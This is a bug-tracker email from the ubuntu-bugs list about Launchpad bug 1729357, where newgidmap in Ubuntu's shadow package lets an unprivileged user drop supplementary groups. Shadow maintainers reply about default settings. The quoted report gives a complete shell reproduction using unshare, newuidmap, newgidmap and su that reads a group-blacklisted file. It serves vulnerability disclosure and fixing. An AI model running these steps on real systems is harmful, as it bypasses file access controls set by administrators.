This sounds acceptable to me. Issues or (even better) PRs against github.com/shadow-maint/shadow would be great :)
Indeed the default should be the more permissible. (I won't accept patches which require changes to the container runtime.) On Mon, Jan 15, 2018 at 9:13 AM, Akihiro Suda <suda.ky...@gmail.com> wrote: >> And we define flags "allow_setgroups" and "deny_setgrouops" (with > "deny_setgroups" being the default). > > > I think allow_setgropus should be the default for keeping compatibility. > > However, useradd(8) may print warning for the default configuration. > > -- > You received this bug notification because you are subscribed to the bug > report. > https://bugs.launchpad.net/bugs/1729357 > > Title: > unprivileged user can drop supplementary groups > > Status in shadow package in Ubuntu: > Confirmed > > Bug description: > Distribution: Ubuntu 16.04.3 LTS > Kernel: 4.4.0-97-generic > uidmap package version: 1:4.2-3.1ubuntu5.3 > > The newgidmap setuid executable allows any user to write a single > mapping line to the gid_map of a process whose identity is the same as > the calling process, as long as that mapping line maps the process's > own GID outside of the user namespace to GID 0 inside the user > namespace. > > Newgidmap will write the mapping regardless of the content of > /proc/$process_being_mapped/setgroups, which will initially contain > the string "allow". After this mapping is performed, and also after > the process' uid_map is written with newuidmap, the process in the > user namespace will be able to use the setgroups system call to drop > supplementary groups. > > This is possible even if there is no entry for the user in > /etc/subgid, because no subordinate GIDs are actually being used. > > This allows any user to circumvent the use of supplementary groups as > blacklists, e.g. for some file owned by root:blacklist with permission > bits 0604 (octal). Normally any process whose identity included the > group "blacklist" in its supplementary groups would not be able to > read that file. By performing this exploit using newgidmap, they can > drop all supplementary groups and read that file. > > If newgidmap was not available, unprivileged users would not be able > to write a process's gid_map until writing "deny" to > /proc/$pid/setgroups. A fix for this might be for newgidmap to check > the content of /proc/$process_being_mapped/setgroups is "deny", but we > have not tried to patch this ourselves. > > An example using 2 login shells for a user named "someone" on Ubuntu > Xenial, with the uidmap package installed: > > Shell 1 > > someone@ubuntu-xenial:~$ id > uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted) > > someone@ubuntu-xenial:~$ ls -al /tmp/should_restrict > -rw----r-- 1 root restricted 8 Nov 1 12:23 /tmp/should_restrict > > someone@ubuntu-xenial:~$ cat /tmp/should_restrict > cat: /tmp/should_restrict: Permission denied > > someone@ubuntu-xenial:~$ unshare -U --setgroups allow # > /proc/self/setgroups already contains 'allow', but let's be explicit > > nobody@ubuntu-xenial:~$ echo $$ > 1878 > > Shell 2 > > someone@ubuntu-xenial:~$ cat /etc/subuid > lxd:100000:65536 > root:100000:65536 > ubuntu:165536:65536 > > someone@ubuntu-xenial:~$ cat /etc/subgid > lxd:100000:65536 > root:100000:65536 > ubuntu:165536:65536 > > # There are no entries in /etc/sub{u,g}id for someone, but this > doesn't matter that much as subordinate IDs are not being requested. > > someone@ubuntu-xenial:~$ newuidmap 1878 0 1001 1 > > someone@ubuntu-xenial:~$ newgidmap 1878 0 1001 1 > > Back to shell 1 > > nobody@ubuntu-xenial:~$ id > uid=0(root) gid=0(root) groups=0(root),65534(nogroup) > > # The presence of the "nogroup" supplementary group indicates that > some unmapped GIDs are present as supplementary GIDs. The kernel knows > that this process still has "restricted" in its supplementary groups, > so it can't read the restricted file yet. > > nobody@ubuntu-xenial:~$ cat /tmp/should_restrict > cat: /tmp/should_restrict: Permission denied > > # The process has gained CAP_SETGID in its user namespace by becoming > UID 0. /proc/$pid/setgroups contains "allow", so it can call > setgroups(2). By su-ing to root (itself, in the user namespace), it > can drop the supplementary groups. It can't read /root/.bashrc as that > file is owned by UID 0 in the initial user namespace, which creates > some distracting error output but doesn't matter in this case. > > nobody@ubuntu-xenial:~$ su root > su: Authentication failure > (Ignored) > bash: /root/.bashrc: Permission denied > > # Supplementary groups have been dropped > > root@ubuntu-xenial:~# id > uid=0(root) gid=0(root) groups=0(root) > > # It can read the restricted file > > root@ubuntu-xenial:~# cat /tmp/should_restrict > content > > To manage notifications about this bug go to: > https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/+subscriptions -- You received this bug notification because you are a member of Ubuntu Bugs, which is subscribed to Ubuntu. https://bugs.launchpad.net/bugs/1729357 Title: unprivileged user can drop supplementary groups To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/+subscriptions -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
